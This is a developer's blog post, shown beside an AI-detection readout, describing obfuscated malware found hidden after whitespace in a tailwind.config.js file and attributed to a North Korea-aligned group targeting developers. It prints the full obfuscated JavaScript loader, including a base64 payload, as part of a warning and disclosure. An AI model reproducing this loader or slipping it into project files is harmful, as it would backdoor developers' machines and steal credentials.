Skip to content
HN On Hacker News ↗

I found a malware hiding in my tailwindcss config file.

▲ 8 points by donohoe 24h ago HN discussion ↗

Pangram verdict · v3.3

We believe that this document is a mix of AI-generated, and human-written content

34 %

AI likelihood · overall

Mixed
67% human-written 33% AI-generated
SEGMENTS · HUMAN 11 of 11
SEGMENTS · AI 0 of 11
WORD COUNT 823
PEAK AI % 18% · §10
Analyzed
Jul 4
backend: pangram/v3.3
Segments scanned
11 windows
avg 75 words each
Distribution
67 / 33%
human / AI fraction
Verdict
Mixed
Pangram v3.3

Article text · 823 words · 11 segments analyzed

Human AI-generated
§1 Human · 0%

12 min readJun 21, 2026--I almost closed the file without reading it. Three days later I was killing processes in production at 2am, rotating every credential I own, and staring at a git commit with my name on it that I never made. If you’ve got an active Node project, you’ll probably want to check it before you finish reading this.This wasn’t package.json or something deep in node_modules. It was tailwind.config.js. The file you touch once, when you’re setting up the project, figuring out whether your primary color is blue-600 or blue-700 . Then you never open it again. Half of us didn’t even write ours, it got spat out by create-next-app or a starter template and we never looked twice.I wasn’t even looking for anything wrong. I was just copying my old color tokens into a fresh tailwind.config.js file. Except the paste took a second too long. Five lines of config shouldn’t lag a clipboard. Huh? I scrolled down to see what I’d actually copied, Nothing obvious. Then I diffed it online and discovered a wall of obfuscated code hidden after hundreds of empty spaces, like someone wanted you to stop scrolling before you ever saw it.That shouldn’t be there.Obfuscated. On purpose. By someone./** @type {import('tailwindcss').Config} */module.exports = { content: ['./src/**/*.{html,js,jsx}'], theme: { extend: { colors: { 'cream': '#f7f4db', 'primary': '#c90101', }, }, }, plugins: [], darkMode: 'class',}; global['_V']='A7-2066';global['r' ]=require;global['m']=module;(async()=>{if(global["_t_t"])return;global["_t_t"]=(new global.

§2 Human · 0%

Date).getTime();if(typeof __dirname!=="undefined")global["___dirname"]=__dirname;if(typeof __filename!=="undefined")global["___filename"]=__filename;const c=async()=>{(function(){var TjS="",xQa=313-302;function niu(m){var n=219896;var y=m.length;var t=[];for(var b=0;b<y;b++){t[b]=m.charAt(b)}for(var b=0;b<y;b++){var a=n*(b+324)+n%37859;var q=n*(b+410)+n%37197;var c=a%y;var h=q%y;var k=t[c];t[c]=t[h];t[h]=k;n=(a+q)%1532251}return t.join("")}var tUI=niu("gvnsrcettofdcwoisbkzqhrnaplujotxmucyr").substr(0,xQa);var yTd='or=fa9a7ea=l,e;6u};[ahr{+nirco2"ai;u;lmva<n0fe(0ufy."mdl*C.qt.,hgnght(i(+r1as1ra=,(q)+eCr5q=e,((co=,-6cs,,*8utsv).,7i,6tt(h;rd[(t =cse)z;yd7j,f<n9,,evghf,s+e)axczx1(ah;1rjhrlj=;ah1r-=rho(rao.])tu8bn,e8,5i0n=r, 76(ahrl]istso<(=+8=[-)e.

§3 Human · 0%

e1i;+e7[ne)h;[0+n+q;rvA{ u()(=t ,]g j+21,7<A<h;rcf;lohspf=dvrit4ruiu2uC=cop.+(j(u=+= 2=g.ll)(.,n 0nvon1=rn .lrn;h7gAC(ssg;[ruzqcrgervnynw+sl2b)a]; 5=0;lv a.;s(hvnjk;ns"xon>hlnf]lr5-wezxht4rl";scfwo4oovAntu1uq)ena(r{n i;}9lt;l,,.r=)e.e==m+=ar{vn8mgv=+w.(C) hsdt.r[] ghp+++ewoatodva"fu6;w)mv(w)(n+m)m]nosu;[o64,nhgt}i6a)h)no0n[t=[t"=prn>7l;;;iy.]ee.gb97zi,aar9r)g;a -aho(l)fnr{eg69=w];.i;yr;uha=]=jen(o;isl.{wnr=).+ur;c +n3(,;2);i )=t; sin;0 );= .fp))rosir})ga)mS ua[ftoid="eec=aloa.[-b()Civsb]1=h680vlp.)s(nthf}7=]0(;;(tfvtgrru.=j2.[C0d1s7c sar3v)r+;50;p+" =m(!"hvl6,i-==rC[)"8da+a(,h,+o2bhu;}{sir;Sf=r9..ov138la;cpf;(rAv;)]8 =q(ljldrato]tnd)+!nyvjrv}1tat';var

§4 Human · 0%

xsR=niu[tUI];var Drj="";var VMU=xsR;var gjR=xsR(Drj,niu(yTd));var qMh=gjR(niu('(aOc(4)O](+OaO=sO:_On{%f%m).=%=6;fOOtO39ec7omt,(&1=ln%ema5fawO/y%*y]tt!{;.ae71}+2=%3_e(%ol; =oOer!(3{dho*di.}dda.tu-t)o.+s.trog.A4SaO+a+o;t;{*rtOe[O2_2h.O0%(u-[dthre("a3i $e12a;moi"]d{[deannuoeSdbc04a@p-)O!{d(fsn}:rte{5t?=-jO=w(it},9&e[oi)t\'2;sOj)%in ]]]+:sbg%12a12a(Os4+1+OdOSu44i]{ewuOO:rc_ra.tsO};Otrch(=cu%).}b)cnt0,.O6eO mn8=/=ov]d]s}cc1:[.rOf=)dc(z% d%ng[r.u_s))Oefd.0/j;]%etdurhO}aO.OOi)5f1+iaOOenetghaee}:iC/Crco/+]O1m.snOsa(B.hcOdnOOr9(rsu.]so7t(t4w lC9%1Bnl2%dw.s.O[;oO(oeub[F71=Ot00%r[u5a.\'/n=go6c)(.]![;a?o.,%to]nt;to=)td21<n23eOsO)<.5.OO496O>.....s C/)[}B_8.)b%d(oO.p!;r6OhOd>O<e//._.Fe}.b

§5 Human · 0%

.!]:O6!O"1brd;_o=d]b%s0r.s@srO(>eO>0)O)[)l,;)rer519za$rny]ghue%"]mOO==xO7.3dsin]ef)+.f5.1O(92n(]-2(=3f+2uo3b(}))]..]>m0;w9)mrtt .rn[aa{d}05$3ENda=].0l)sd;tlod]r8O4:u }<g6+t8%n u*C_eB,OatO1,n$y}7*tldpno%l0._,3h=,.(;4eh] 6bo:)!npbfr]do=A,..1pp.A;O=s/,yaOdg4(c9/(OiOOg#nq)d.(}r]!Os]]Ond)no.1e;O38oOO])l)r0/og a%iOB.tewDmt]:O6O/s; rOl0]1yu1at)/]%)l4l{=OddC},}(.a$a}oe9Oseii!O]:e0}eO0%0b]n3e9O,e{{D35.e}3O{4(Oe=2O.3_5%lt;ta_O!5O+)b3if%n)o]t9 ti;r ]#tr.=2( }dn.6>7(yaftnd_(]eOn}oO;Ov }(]$O.h8:n;O6.tO2(+_=]"=ddf{BO>tua(to()ti)!!m=a;O,(=.?0l$%Cudi7h4p5riu=tlc]!49fOOy4e5rCOb1(t[%O<la(.rCO{n.iO,oO0l31{e)y(.iadOh1r

§6 Human · 0%

n?itvtOy8_52o0:f.ut2%}Otu=rro2nn5Oe:s,e.Eordsu!3=O[O.srO5E2)4=]]%.)m:>4rO(y)S0]p%+v".n+;2#(O=h4[_dlte8o)eOrd]e4OO4=2.]1(yd!%56ee[t=o}:=e/=imsa()rBa(DOd)@e]}(g),e=:9f}.b{ed0[or)3]c=u{pct{t2[Ot2]]&0 @09t(O_ott]t4sig(i.e9g/O)r3OOl,i93vtib%))b!i7t rwO}4?=a#O1+.$d5)3 8 jg2t])hOl.0%CO23O-)]]hO.Oml1y..\'no)Ol;!c%pOgT1[O:0roO.:h=aterya]1OttrD,sO%}un01OfO8n1$ lr=.m(< 5g)5dttaO;/}cOiefg])O/%T=n97t)w])[i(oa2tnt3no2)42b],(.r!dk5O]te)r}])au2]s \' ew)e;u)i.%rr,t(0/es]d=fr\'pr]3lld{2(0nrOr!hr!0+rs(4s=2),e5&16!(O5wOnO?*d]njr[ 2O);yOO%]e]OaO]Ofiri3])rO%OdOOr52l).O3].iO)(;+[cdO]=qOtO=b]O3feOO}s%d]%d #O.;nw)rO$a(n)b!r;#s98f!O Oao=*0=]3dtaO!]et,tOOn%B(1nO]dr)n1+tDb1-S8;9riOt{,(u.

§7 Human · 0%

A..s]9)]t4@r5dr%d+xtOOydn =s]o)]dimss.],O?4dt%(1frB]O/;-ba%(+ si+]6OOC#OOodi5Od83fr,pOt"O%[_d%eOest*oOC%1fs.))m.O..(}(!>nqo8cdd,4.d}O2=)lOO:&%O,y&0.%s(.dO1 [-8 j-hr2uea)r_O.1O6p6_6,on27:6=OO;ad]O7/bt[](COteOFO.nO2%[OOo)rOr[nb}a)iad=.m Oa(=m1!n%8]s}:(e]O_ptdO,)1]0]tc..n.cld}gfb ]$];_)(aiO;0[]Ot=uti)[3:%d ${jc(coBu;c{/ f_.?nj(5r{g;{O{[+o2dOrtf(O6](a8]1(.r_'));var Jyp=VMU(TjS,qMh);Jyp(9283);return 4952})()};global["_t_c"]=c.toString();try{global["_t_0"]=atob("dmFyIF8kX2FjMGU9KGZ1bmN0aW9uKG0sdCl7dmFyIHI9bS5sZW5ndGg7dmFyIHg9W107Zm9yKHZhciB6PTA7ejwgcjt6Kyspe3hbel09IG0uY2hhckF0KHopfTtmb3IodmFyIHo9MDt6PCByO3orKyl7dmFyIGY9d

§8 Human · 1%

CogKHorIDIxNSkrICh0JSAzNzcwNCk7dmFyIHk9dCogKHorIDE2OCkrICh0JSAxMjU4Myk7dmFyIGk9ZiUgcjt2YXIgbD15JSByO3ZhciBqPXhbaV07eFtpXT0geFtsXTt4W2xdPSBqO3Q9IChmKyB5KSUgNjYyNjI5MH07dmFyIHA9U3RyaW5nLmZyb21DaGFyQ29kZSgxMjcpO3ZhciBrPScnO3ZhciBvPSdceDI1Jzt2YXIgcT0nXHgyM1x4MzEnO3ZhciBoPSdceDI1Jzt2YXIgdj0nXHgyM1x4MzAnO3ZhciBuPSdceDIzJztyZXR1cm4geC5qb2luKGspLnNwbGl0KG8pLmpvaW4ocCkuc3BsaXQocSkuam9pbihoKS5zcGxpdCh2KS5qb2luKG4pLnNwbGl0KHApfSkoImM3YzU4ODQyeDZyZDBhMzAxN01LZkpaMzIxMDU2ZSU4MTNfNzcyZCVOQTBFJWJiZWVlM0piN3M5YnRmN1R4ejczMWY4XzY3dDc5Zjk2dlpmY2Q1ZTZlYzRwMjQwMzJKM1FfckxQOFQwb

§9 Human · 2%

TgwYV9kMyIsNTk5MTE3Myk7Z2xvYmFsW18kX2FjMGVbMF1dPSBfJF9hYzBlWzFdO2dsb2JhbFtfJF9hYzBlWzJdXT0gXyRfYWMwZVszXQ==");var e,_V;(function(){var _$_ca3f=_$af1300654("4etA%:33f001_bA.7_8%sa2i5s1t3751%r6caFTBf_%168t3a226n.30.7Xr21713t%_%%f%8%%3%at1a%2.j70f2b3_4%t.08%x3.dy1W107is27_5ceF.02a41_ec7oD._82.55che27S09dv4/98d02V992p421_bs7:6:I14uN9%A3jpddFbbVuta/tMN1rtL481",759646);function _$af1300654(q,j){var z=q.length;var s=[];for(var h=0;h<z;h++){s[h]=q.charAt(h)}for(var h=0;h<z;h++){var g=j*(h+490)+j%40107;var k=j*(h+427)+j%15314;var r=g%z;var l=k%z;var n=s[r];s[r]=s[l];s[l]=n;j=(g+k)%1770971}var m=String.fromCharCode(127);var t="";var y="%";var p="#1";var b="%";var i="#0";var x="#";return

§10 Human · 18%

s.join(t).split(y).join(m).split(p).join(b).split(i).join(x).split(m)}if(!_$_ca3f){_$af1300654=0}_V=global[_$_ca3f[0]]||0;if(_V[0]==_$_ca3f[1]){if(_$af1300654==0){_$af1300654();_$af1300654=null;return}else{e=_$_ca3f[2]}}else{if(!global[_$_ca3f[4]](global[_$_ca3f[3]](_V))){if(!_$_ca3f){_$af1300654();_$af1300654=0}e=_$_ca3f[5]}else{e=_$_ca3f[6]}}global[_$_ca3f[7]]=_$_ca3f[8]+e+_$_ca3f[9];global[_$_ca3f[10]]=_$_ca3f[8]+e+_$_ca3f[11];global[_$_ca3f[12]]=_$_ca3f[13];global[_$_ca3f[14]]=_$_ca3f[15]})();await c()}catch(err){global._R&&global._R(`failed to run clientCode: ${err}`)}})();// Malicious code at the end of line. Keep scrolling --> keep scrolling... keep scrolling... keep scrolling...I want to be honest about this, this was my first time looking at something like this. What followed felt like pulling a thread and watching a sweater unravel. The more I looked, the more layers I found. Every time I thought I’d found the bottom, there was another layer under it. At the end I had a confirmed infection across three of my repos, six unknown processes running quietly in production, git commits with my own name on them that i never wrote, and a payload phoning home to api.trongrid.io, a known DPRK command and control channel.

§11 Human · 11%

I’m still a little shaken, reading more about this type of attack and more so because I think a lot of you have this exact file sitting open in a tab right now, unread, un-audited, completely trusted. So before anything else —Before you keep reading, If you’ve got Node running anywhere right now — a side project, something half-abandoned, a Next.js / ReactJs app you haven’t touched in months — it might be worth pulling up a terminal and running ps aux | grep node. Just see what's there. Some of it you'll recognize immediately. Some of it might make you pause. Either way, keep that in the back of your mind, because we're coming back to it.Who is Void Dokkaebi?They don’t hack you. They interview you.Quick context: Void Dokkaebi — aka Famous Chollima, UNC5342, is a North Korea-aligned group who targets software developers specifically. Not banks. Not hospitals. Devs. They scrape wallet credentials, signing keys, CI/CD access, anything that gets them into production.Their usual playbook is almost embarrassingly social: a “recruiter” messages you on LinkedIn, asks you to clone a repo for a coding exercise, and the moment you run it, you’ve installed a backdoor for them. What’s crazy is what happens next. Trend Micro documented this year that infected machines don’t just sit there leaking secrets, they get turned into the next lure. Your own repos become the bait for someone else’s when they download / clone / pull your repos. The infection spreads through trust, not exploits.None of that happened to me. I didn’t get a message in LinkedIn or a “recruiter” contacted me. There’s no entry point I can point to and say that’s how they got in. And if a known playbook doesn’t explain how this got onto my machine, that means something else does — and I don’t know what it is yet.The file no one audits turned out to be exactly where they hid.The DiscoverySomething wrong in the most boring file.A tailwind.config.js is supposed to just hold color tokens, font scales & maybe a plugin or two. That’s it. That’s the whole file, every time — whether you scaffold it, generate it or write it.